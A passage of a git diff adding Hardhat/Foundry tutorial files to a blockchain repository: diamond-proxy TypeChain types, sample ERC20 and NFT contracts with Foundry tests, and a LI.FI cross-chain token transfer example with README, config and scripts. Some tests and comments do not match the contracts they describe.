+  getFunction(nameOrSignature: "owner" | "transferOwnership"): FunctionFragment;
+
+  getEvent(
+    nameOrSignatureOrTopic:
+      | "OwnershipTransferred(address,address)"
+  ): EventFragment;
+
+  encodeFunctionData(functionFragment: "owner", values?: undefined): string;
+  encodeFunctionData(
+    functionFragment: "transferOwnership",
+    values: [AddressLike]
+  ): string;
+
+  decodeFunctionResult(functionFragment: "owner", data: BytesLike): Result;
+  decodeFunctionResult(
+    functionFragment: "transferOwnership",
+    data: BytesLike
+  ): Result;
+}
+
+export namespace OwnershipTransferred_address_address_Event {
+  export type InputTuple = [previousOwner: AddressLike, newOwner: AddressLike];
+  export type OutputTuple = [previousOwner: string, newOwner: string];
+  export interface OutputObject {
+    previousOwner: string;
+    newOwner: string;
+  }
+  export type Event = TypedContractEvent<InputTuple, OutputTuple, OutputObject>;
+  export type Filter = TypedDeferredTopicFilter<Event>;
+  export type Log = TypedEventLog<Event>;
+  export type LogDescription = TypedLogDescription<Event>;
+}
+
+export interface OwnershipFacet extends BaseContract {
+  connect(runner?: ContractRunner | null): OwnershipFacet;
+  waitForDeployment(): Promise<this>;
+
+  interface: OwnershipFacetInterface;
+
+  queryFilter<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+  queryFilter<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+
+  on<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  on<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  once<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  once<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  listeners<TCEvent extends TypedContractEvent>(
+    event: TCEvent
+  ): Promise<Array<TypedListener<TCEvent>>>;
+  listeners(eventName?: string): Promise<Array<Listener>>;
+  removeAllListeners<TCEvent extends TypedContractEvent>(
+    event?: TCEvent
+  ): Promise<this>;
+
+  owner: TypedContractMethod<[], [string], "view">;
+
+  transferOwnership: TypedContractMethod<
+    [_newOwner: AddressLike],
+    [void],
+    "nonpayable"
+  >;
+
+  getFunction<T extends ContractMethod = ContractMethod>(
+    key: string | FunctionFragment
+  ): T;
+
+  getFunction(
+    nameOrSignature: "owner"
+  ): TypedContractMethod<[], [string], "view">;
+  getFunction(
+    nameOrSignature: "transferOwnership"
+  ): TypedContractMethod<[_newOwner: AddressLike], [void], "nonpayable">;
+
+  getEvent(
+    key: "OwnershipTransferred(address,address)"
+  ): TypedContractEvent<
+    OwnershipTransferred_address_address_Event.InputTuple,
+    OwnershipTransferred_address_address_Event.OutputTuple,
+    OwnershipTransferred_address_address_Event.OutputObject
+  >;
+  getEvent(
+    key: "OwnershipTransferred(address,address)"
+  ): TypedContractEvent<
+    OwnershipTransferred_address_address_Event.InputTuple,
+    OwnershipTransferred_address_address_Event.OutputTuple,
+    OwnershipTransferred_address_address_Event.OutputObject
+  >;
+
+  filters: {
+    "OwnershipTransferred(address,address)": TypedContractEvent<
+      OwnershipTransferred_address_address_Event.InputTuple,
+      OwnershipTransferred_address_address_Event.OutputTuple,
+      OwnershipTransferred_address_address_Event.OutputObject
+    >;
+  };
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/index.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/index.ts
new file mode 100644
index 000000000..9a518600d
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/index.ts
@@ -0,0 +1,4 @@
+export type {DiamondInit} from "./contracts/DiamondInit";
+export type {DiamondCutFacet} from "./contracts/DiamondCutFacet";
+export type {DiamondLoupeFacet} from "./contracts/DiamondLoupeFacet";
+export type {OwnershipFacet} from "./contracts/OwnershipFacet";
diff --git a/basic/79-hardhat-foundry/slither.config.json b/basic/79-hardhat-foundry/slither.config.json
new file mode 100644
index 000000000..96e875cdf
--- /dev/null
+++ b/basic/79-hardhat-foundry/slither.config.json
@@ -0,0 +1,7 @@
+{
+    "filter_paths": "lib",
+    "solc_remaps": [
+      "ds-test/=lib/ds-test/src/",
+      "forge-std/=lib/forge-std/src/"
+    ]
+  }
\ No newline at end of file
diff --git a/basic/79-hardhat-foundry/src/NFT.sol b/basic/79-hardhat-foundry/src/NFT.sol
new file mode 100644
index 000000000..b3a111228
--- /dev/null
+++ b/basic/79-hardhat-foundry/src/NFT.sol
@@ -0,0 +1,23 @@
+pragma solidity 0.8.10;
+
+import "solmate/tokens/ERC721.sol";
+import "openzeppelin-contracts/utils/Strings.sol";
+
+contract NFT is ERC721 {
+    uint256 public currentTokenId;
+
+    constructor(
+        string memory _name,
+        string memory _symbol
+    ) ERC721(_name, _symbol) {}
+
+    function mintTo(address recipient) public payable returns (uint256) {
+        uint256 newItemId = ++currentTokenId;
+        _safeMint(recipient, newItemId);
+        return newItemId;
+    }
+
+    function tokenURI(uint256 id) public view virtual override returns (string memory) {
+        return Strings.toString(id);
+    }
+}
\ No newline at end of file
diff --git a/basic/79-hardhat-foundry/src/Token.sol b/basic/79-hardhat-foundry/src/Token.sol
new file mode 100644
index 000000000..60fc68a73
--- /dev/null
+++ b/basic/79-hardhat-foundry/src/Token.sol
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import {ERC20} from "solmate/tokens/ERC20.sol";
+
+contract Token is ERC20("Token", "TOK", 18) {
+
+}
diff --git a/basic/79-hardhat-foundry/tasks/example.ts b/basic/79-hardhat-foundry/tasks/example.ts
new file mode 100644
index 000000000..192a6bb04
--- /dev/null
+++ b/basic/79-hardhat-foundry/tasks/example.ts
@@ -0,0 +1,14 @@
+import { HardhatRuntimeEnvironment } from "hardhat/types/runtime";
+
+export default async function example(
+  params: any,
+  hre: HardhatRuntimeEnvironment
+): Promise<void> {
+  const ethers = hre.ethers;
+
+  const [account] = await ethers.getSigners();
+
+  console.log(
+    `Balance for 1st account ${await account.getAddress()}: ${await account.getBalance()}`
+  );
+}
diff --git a/basic/79-hardhat-foundry/test/LibExample.t.sol b/basic/79-hardhat-foundry/test/LibExample.t.sol
new file mode 100644
index 000000000..9999e2824
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/LibExample.t.sol
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {LibExample} from "../contracts/LibExample.sol";
+
+contract LibExampleTest is Test {
+
+    // 模糊测试: 测试小于type(uint160).max的参数值能正常转换
+    function testFuzz_toUint160(uint256 n) public {
+        // if n > type(uint160).max, skip
+        vm.assume(n <= type(uint160).max);
+        LibExample.toUint160(n);
+    }
+
+    // 模糊测试: 测试大于type(uint160).max的参数值抛出异常
+    function testFailFuzz_toUint160_overflow(uint256 n) public {
+        // if n < type(uint160).max, skip
+        vm.assume(n > type(uint160).max);
+        LibExample.toUint160(n);
+    }
+}
diff --git a/basic/79-hardhat-foundry/test/NFT.t.sol b/basic/79-hardhat-foundry/test/NFT.t.sol
new file mode 100644
index 000000000..799213589
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/NFT.t.sol
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.20;
+
+import "forge-std/Test.sol";
+import "../src/NFT.sol";
+
+contract NFTTest is Test {
+    using stdStorage for StdStorage;
+
+    NFT private nft;
+
+    function setUp() public {
+        // Deploy NFT contract
+        nft = new NFT("NFT_tutorial", "TUT", "baseUri");
+    }
+
+    function testFailNoMintPricePaid() public {
+        nft.mintTo(address(1));
+    }
+
+    function testMintPricePaid() public {
+        nft.mintTo{value: 0.08 ether}(address(1));
+    }
+
+    function testFailMaxSupplyReached() public {
+        uint256 slot = stdstore
+            .target(address(nft))
+            .sig("currentTokenId()")
+            .find();
+        bytes32 loc = bytes32(slot);
+        bytes32 mockedCurrentTokenId = bytes32(abi.encode(10000));
+        vm.store(address(nft), loc, mockedCurrentTokenId);
+        nft.mintTo{value: 0.08 ether}(address(1));
+    }
+
+    function testFailMintToZeroAddress() public {
+        nft.mintTo{value: 0.08 ether}(address(0));
+    }
+
+    function testNewMintOwnerRegistered() public {
+        nft.mintTo{value: 0.08 ether}(address(1));
+        uint256 slotOfNewOwner = stdstore
+            .target(address(nft))
+            .sig(nft.ownerOf.selector)
+            .with_key(1)
+            .find();
+
+        uint160 ownerOfTokenIdOne = uint160(
+            uint256(
+                (vm.load(address(nft), bytes32(abi.encode(slotOfNewOwner))))
+            )
+        );
+        assertEq(address(ownerOfTokenIdOne), address(1));
+    }
+
+    function testBalanceIncremented() public {
+        nft.mintTo{value: 0.08 ether}(address(1));
+        uint256 slotBalance = stdstore
+            .target(address(nft))
+            .sig(nft.balanceOf.selector)
+            .with_key(address(1))
+            .find();
+
+        uint256 balanceFirstMint = uint256(
+            vm.load(address(nft), bytes32(slotBalance))
+        );
+        assertEq(balanceFirstMint, 1);
+
+        nft.mintTo{value: 0.08 ether}(address(1));
+        uint256 balanceSecondMint = uint256(
+            vm.load(address(nft), bytes32(slotBalance))
+        );
+        assertEq(balanceSecondMint, 2);
+    }
+
+    function testSafeContractReceiver() public {
+        Receiver receiver = new Receiver();
+        nft.mintTo{value: 0.08 ether}(address(receiver));
+        uint256 slotBalance = stdstore
+            .target(address(nft))
+            .sig(nft.balanceOf.selector)
+            .with_key(address(receiver))
+            .find();
+
+        uint256 balance = uint256(vm.load(address(nft), bytes32(slotBalance)));
+        assertEq(balance, 1);
+    }
+
+    function testFailUnSafeContractReceiver() public {
+        vm.etch(address(1), bytes("mock code"));
+        nft.mintTo{value: 0.08 ether}(address(1));
+    }
+
+    function testWithdrawalWorksAsOwner() public {
+        // Mint an NFT, sending eth to the contract
+        Receiver receiver = new Receiver();
+        address payable payee = payable(address(0x1337));
+        uint256 priorPayeeBalance = payee.balance;
+        nft.mintTo{value: nft.MINT_PRICE()}(address(receiver));
+        // Check that the balance of the contract is correct
+        assertEq(address(nft).balance, nft.MINT_PRICE());
+        uint256 nftBalance = address(nft).balance;
+        // Withdraw the balance and assert it was transferred
+        nft.withdrawPayments(payee);
+        assertEq(payee.balance, priorPayeeBalance + nftBalance);
+    }
+
+    // function testWithdrawalFailsAsNotOwner() public {
+    //     // Mint an NFT, sending eth to the contract
+    //     Receiver receiver = new Receiver();
+    //     nft.mintTo{value: nft.MINT_PRICE()}(address(receiver));
+    //     // Check that the balance of the contract is correct
+    //     assertEq(address(nft).balance, nft.MINT_PRICE());
+    //     // Confirm that a non-owner cannot withdraw
+    //     vm.expectRevert("Ownable: caller is not the owner");
+    //     vm.startPrank(address(0xd3ad));
+    //     nft.withdrawPayments(payable(address(0xd3ad)));
+    //     vm.stopPrank();
+    // }
+}
+
+contract Receiver is ERC721TokenReceiver {
+    function onERC721Received(
+        address operator,
+        address from,
+        uint256 id,
+        bytes calldata data
+    ) external override returns (bytes4) {
+        return this.onERC721Received.selector;
+    }
+}
+
diff --git a/basic/79-hardhat-foundry/test/NewExample.t.sol b/basic/79-hardhat-foundry/test/NewExample.t.sol
new file mode 100644
index 000000000..5311dbfd1
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/NewExample.t.sol
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {NewExample} from "../contracts/NewExample.sol";
+
+contract ExampleTest is Test {
+    NewExample public example;
+
+    function setUp() public {
+        example = new NewExample();
+        example.setNumber(0);
+    }
+
+    function test_setNumber() public {
+        example.setNumber(1024);
+        assertEq(example.getNumber(), 1024);
+    }
+
+    function testFuzz_SetNumber(uint256 x) public {
+        example.setNumber(x);
+        assertEq(example.getNumber(), x);
+    }
+}
diff --git a/basic/79-hardhat-foundry/test/OverrideExample.t1.sol b/basic/79-hardhat-foundry/test/OverrideExample.t1.sol
new file mode 100644
index 000000000..502a9c3c9
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/OverrideExample.t1.sol
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest1 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    // override
+    function _blockTimestamp() internal view override returns (uint256) {
+        return 10 days;
+    }
+
+    function test_transfer() public {
+        transfer();
+    }
+}
diff --git a/basic/79-hardhat-foundry/test/OverrideExample.t2.sol b/basic/79-hardhat-foundry/test/OverrideExample.t2.sol
new file mode 100644
index 000000000..304a63705
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/OverrideExample.t2.sol
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest2 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    function testFail_transfer(uint256 x) public {
+        transfer();
+    }
+}
diff --git a/basic/79-hardhat-foundry/test/Token.t.sol b/basic/79-hardhat-foundry/test/Token.t.sol
new file mode 100644
index 000000000..f39b174fc
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/Token.t.sol
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+
+import "forge-std/Test.sol";
+
+import "../src/Token.sol";
+
+contract TokenTest is Test {
+    Token t;
+
+    function setUp() public {
+        t = new Token();
+    }
+
+    function testName() public {
+        assertEq(t.name(), "Token");
+    }
+}
diff --git a/basic/79-hardhat-foundry/test/diamond.ts b/basic/79-hardhat-foundry/test/diamond.ts
new file mode 100644
index 000000000..d450a1b1c
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/diamond.ts
@@ -0,0 +1,44 @@
+import {ethers} from "hardhat";
+import {deploy} from "../scripts/libraries/deployLib";
+import {Example} from "../typechain-types";
+import {loadFixture} from "@nomicfoundation/hardhat-toolbox/network-helpers";
+import {expect} from "chai";
+import {HardhatEthersSigner} from "@nomicfoundation/hardhat-ethers/signers"
+import {Diamonds} from "../scripts/libraries/Diamonds";
+
+describe("钻石合约", () => {
+    let user: HardhatEthersSigner
+    afterEach(()=>{
+        console.log("afterEach------------------------------------")
+    })
+    beforeEach(()=>{
+        console.log("beforeEach------------------------------------")
+    })
+    before("user", async () => {
+        console.log("before------------------------------------")
+        const accounts = await ethers.getSigners()
+        user = accounts[0]
+    })
+
+    async function deployFixture() {
+        return await Diamonds.deploy(false)
+    }
+
+    it("代理测试样例", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [example] = await deploy(false, "Example")
+        await diamond.proxy(example);
+        await (await (example.attach(diamond.address) as Example).setNumber(1024n)).wait()
+        expect(await (example.attach(diamond.address) as Example).getNumber()).eq(1024n)
+    });
+    it("升级测试样例", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [oldExample] = await deploy(false, "Example")
+        await diamond.proxy(oldExample)
+        const [newExample] = await deploy(false, "Example")
+        await diamond.upgrade(oldExample.address, newExample)
+        // assert
+        const selector = (newExample as any as Example).interface.getFunction("setNumber").selector
+        expect(await diamond.facetAddress(selector)).eq(newExample.address)
+    });
+});
diff --git a/basic/79-hardhat-foundry/test/token.test.ts b/basic/79-hardhat-foundry/test/token.test.ts
new file mode 100644
index 000000000..14693bb2d
--- /dev/null
+++ b/basic/79-hardhat-foundry/test/token.test.ts
@@ -0,0 +1,12 @@
+import { expect } from "chai";
+import { ethers } from "hardhat";
+
+describe("Token", function () {
+  it("Should return name Token", async function () {
+    const Token = await ethers.getContractFactory("Token");
+    const token = await Token.deploy();
+    await token.deployed();
+
+    expect(await token.name()).to.equal("Token");
+  });
+});
diff --git a/basic/79-hardhat-foundry/tsconfig.json b/basic/79-hardhat-foundry/tsconfig.json
new file mode 100644
index 000000000..abe55231f
--- /dev/null
+++ b/basic/79-hardhat-foundry/tsconfig.json
@@ -0,0 +1,13 @@
+{
+  "compilerOptions": {
+    "target": "es2018",
+    "module": "commonjs",
+    "strict": true,
+    "esModuleInterop": true,
+    "outDir": "dist",
+    "declaration": true,
+    "resolveJsonModule": true
+  },
+  "include": ["./tasks", "./test", "./typechain-types"],
+  "files": ["./hardhat.config.ts"]
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/LI.FI/.env.example b/basic/80-crossChainTransfer/LI.FI/.env.example
new file mode 100644
index 000000000..5effb1d3e
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=yyyy
+INFURA_ID=zzzz
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/LI.FI/.gitignore b/basic/80-crossChainTransfer/LI.FI/.gitignore
new file mode 100644
index 000000000..7b1c94825
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/.gitignore
@@ -0,0 +1,16 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+deployment.json
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/LI.FI/README-cn.md b/basic/80-crossChainTransfer/LI.FI/README-cn.md
new file mode 100644
index 000000000..d16c37f43
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/README-cn.md
@@ -0,0 +1,62 @@
+# LI.FI 介绍
+
+LI.FI 是一种跨链桥接聚合协议，通过聚合 Bridge, DEX, Solver 来支持 Token 在任意链之间转移，交易。  
+应用场景举例如下：  
+1）Optim 上的 USDT 转移到 Polygon 上  
+2）Optim 上的 USDT 转移到 Polygon 上，同时将 USDT swap 为 USDC  
+3）Optim 上的 USDT 转移到 Polygon 上，同时将 10% USDT 变为 Polygon 上原生的 gas ( Matic )，以便后续的操作。这个特性对 EVM 链和非 EVM 链来说非常便利，但目前只支持 4 个链  
+4）Optim 上的 USDT 转移到 Polygon 上的同时，调用 Polygon 链上的一个合约进行相应处理
+
+LI.FI 的操作很简单，用户只需在 origin chain 上发起一笔交易即可完成上述这些场景。  
+同时为方便其他 Dapp 集成，LI.FI 提供了对应的 [SDK](https://docs.li.fi/integrate-li.fi-js-sdk/install-li.fi-sdk) 和 相应的前端 [UI components](https://docs.li.fi/integrate-li.fi-widget/li.fi-widget-overview)
+
+## Route and Quote
+
+集成文档： https://docs.li.fi/integrate-li.fi-sdk/request-routes-quotes
+
+安装lifi sdk，主要有两个主要函数 `getRoutes` and `getQuote` functions.
+
+getRoute 返回数组，给出多个交易路径选择。里面不包含交易数据。
+如果想获得最佳路径，直接用 getQuote 方法即可。
+Route包含执行的每一步操作，quote一般就是一笔交易而已。
+
+# 跨链测试
+
+下面我们将使用 ARB 和 OP 这两个 Layer2 演示 USDT 跨链
+
+- 软件要求
+
+```
+node 版本需要为 v20.11.0
+```
+
+- 安装依赖
+
+```
+npm install
+```
+
+- 配置 env 文件
+
+```shell
+cp .env.example .env
+## 之后在 .env 文件中配置对应的私钥和infura
+```
+
+- 发起跨链请求
+
+```
+npx hardhat run scripts/1-crossChainTokenTransfer.js --network optim
+```
+
+- 检查跨链结果
+
+```
+npx hardhat run scripts/2-checkTokenTransferStatus.js --network optim
+```
+
+## 参考文档
+
+- 官方文档: https://docs.li.fi/
+- 集成文档：https://docs.li.fi/integrate-li.fi-sdk/request-routes-quotes
+- 合约仓库: https://github.com/lifinance/contracts/blob/main/docs/README.md
diff --git a/basic/80-crossChainTransfer/LI.FI/contracts/IERC20.sol b/basic/80-crossChainTransfer/LI.FI/contracts/IERC20.sol
new file mode 100644
index 000000000..bcd73a9b1
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/contracts/IERC20.sol
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: MIT
+// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
+
+pragma solidity ^0.8.20;
+
+/**
+ * @dev Interface of the ERC-20 standard as defined in the ERC.
+ */
+interface IERC20 {
+    /**
+     * @dev Emitted when `value` tokens are moved from one account (`from`) to
+     * another (`to`).
+     *
+     * Note that `value` may be zero.
+     */
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    /**
+     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
+     * a call to {approve}. `value` is the new allowance.
+     */
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+
+    /**
+     * @dev Returns the value of tokens in existence.
+     */
+    function totalSupply() external view returns (uint256);
+
+    /**
+     * @dev Returns the value of tokens owned by `account`.
+     */
+    function balanceOf(address account) external view returns (uint256);
+
+    /**
+     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transfer(address to, uint256 value) external returns (bool);
+
+    /**
+     * @dev Returns the remaining number of tokens that `spender` will be
+     * allowed to spend on behalf of `owner` through {transferFrom}. This is
+     * zero by default.
+     *
+     * This value changes when {approve} or {transferFrom} are called.
+     */
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    /**
+     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
+     * caller's tokens.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * IMPORTANT: Beware that changing an allowance with this method brings the risk
+     * that someone may use both the old and the new allowance by unfortunate
+     * transaction ordering. One possible solution to mitigate this race
+     * condition is to first reduce the spender's allowance to 0 and set the
+     * desired value afterwards:
+     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+     *
+     * Emits an {Approval} event.
+     */
+    function approve(address spender, uint256 value) external returns (bool);
+
+    /**
+     * @dev Moves a `value` amount of tokens from `from` to `to` using the
+     * allowance mechanism. `value` is then deducted from the caller's
+     * allowance.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transferFrom(address from, address to, uint256 value) external returns (bool);
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/LI.FI/hardhat.config.js b/basic/80-crossChainTransfer/LI.FI/hardhat.config.js
new file mode 100644
index 000000000..17e89786a
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/hardhat.config.js
@@ -0,0 +1,75 @@
+require('@nomicfoundation/hardhat-toolbox');
+require('dotenv').config();
+
+/** @type import('hardhat/config').HardhatUserConfig */
+// module.exports = {
+//   solidity: "0.8.24",
+// };
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+function mnemonic() {
+  return [process.env.PRIVATE_KEY];
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.4', settings },
+      { version: '0.4.21', settings },
+      { version: '0.8.24', settings },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    optim: {
+      url: 'https://optimism-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    arbitrum: {
+      url: 'https://arbitrum-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+    scroll: {
+      url: 'https://rpc.scroll.io',
+      accounts: mnemonic(),
+    },
+    optim_sepolia: {
+      url: 'https://optimism-sepolia.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic(),
+    },
+  },
+  mocha: {
+    timeout: 200000,
+  },
+  sourcify: {
+    enabled: true,
+  },
+};
diff --git a/basic/80-crossChainTransfer/LI.FI/package.json b/basic/80-crossChainTransfer/LI.FI/package.json
new file mode 100644
index 000000000..7cdc22e63
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/package.json
@@ -0,0 +1,12 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^4.0.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.21.0",
+    "node-fetch": "^2.7.0"
+  },
+  "dependencies": {
+    "@lifi/sdk": "^3.2.3"
+  }
+}
diff --git a/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainOPToZK.js b/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainOPToZK.js
new file mode 100644
index 000000000..9d42a3790
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainOPToZK.js
@@ -0,0 +1,80 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const { ethers } = require('hardhat');
+require('dotenv').config();
+
+const { getRoutes, getQuote, getStatus } = require('@lifi/sdk');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log(deployer.address);
+
+  //  request route
+
+  //Bridge from OP to Zksync Era
+  const routesRequest = {
+    fromChainId: 10, // op
+    toChainId: 324, // zk
+    fromTokenAddress: '0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1', // DAI on Arbitrum
+    toTokenAddress: '0x493257fD37EDB34451f62EDf8D2a0C418852bA4C', // USDT on zksync
+    fromAmount: '1000000000000000000', // 1 USDC
+    fromAddress: deployer.address,
+  };
+  // let quote = await gettQuote(fromChain, toChain, fromToken, toToken, fromAmount, slippage, fromAddress, toAddress);
+  let route = await getRoutes(routesRequest);
+
+  console.log(route.routes);
+
+  // request quote
+  const quoteRequest = {
+    fromChain: 10, // Arbitrum
+    toChain: 324, // Optimism
+    fromToken: 'DAI', // USDC on Arbitrum
+    toToken: 'USDT', // DAI on Optimism
+    fromAmount: '1000000000000000000', // 10 USDC
+    slippage: 0.01,
+    // The address from which the tokens are being transferred.
+    fromAddress: deployer.address,
+  };
+
+  const quote = await getQuote(quoteRequest);
+  console.log(quote.transactionRequest);
+
+  // approve DAI
+  const DAItokenAddress = '0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1'; // DAI
+
+  const tokenContracct = await ethers.getContractAt('IERC20', DAItokenAddress, deployer);
+  let approveTx = await tokenContracct.approve(quote.transactionRequest.to, quoteRequest.fromAmount);
+  await approveTx.wait();
+
+  console.log(`Approve DAI to ${quote.transactionRequest.to} successfully`);
+
+  // send cross chain transfer request
+  let tx = await deployer.sendTransaction(quote.transactionRequest);
+  await tx.wait();
+  console.log('send request successfully');
+
+  console.log('crossChainTxHash', tx.hash);
+
+  let transactionHash = '0xb7b87ac241a2f6d74cdaa9f1af4d82c081bbc31b19be7b759c7eb7f58921065a';
+  let result = await getStatus({
+    txHash: transactionHash,
+    fromChain: quoteRequest.fromChain,
+    toChain: quoteRequest.toChain,
+    bridge: quote.tool,
+  });
+
+  console.log(`Transfer status: ${result.status}`);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainTokenTransfer.js b/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainTokenTransfer.js
new file mode 100644
index 000000000..a22b50490
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/scripts/1-crossChainTokenTransfer.js
@@ -0,0 +1,66 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const { ethers } = require('hardhat');
+require('dotenv').config();
+
+const { saveRedpacketDeployment, getQuote } = require('../utils');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  // Bridge from OP to Zksync Era
+  // const fromChain = 'OPT'; // Symbols for  Optimism: OPT, Ethereum: ETH
+  // const fromToken = 'USDT';
+  // const toChain = 'ERA';  // Symbols for  Zksync Era: ERA
+  // const toToken = 'USDT';
+  // const fromAmount = '1000000';
+  // const slippage = 0.05;
+  // const fromAddress = deployer.address;
+  // const toAddress = deployer.address;
+  // const signer = await ethers.provider.getSigner()
+  // const tokenAddress = "0x94b008aA00579c1307B0EF2c499aD98a8ce58e58" // USDT
+  // let quote = await getQuote(fromChain, toChain, fromToken, toToken, fromAmount, slippage,fromAddress,toAddress);
+  // console.log(quote.transactionRequest)
+
+  // Bridge from OP to ARB
+  // we can call `https://li.quest/v1/chains` to get the symbols of supported chains
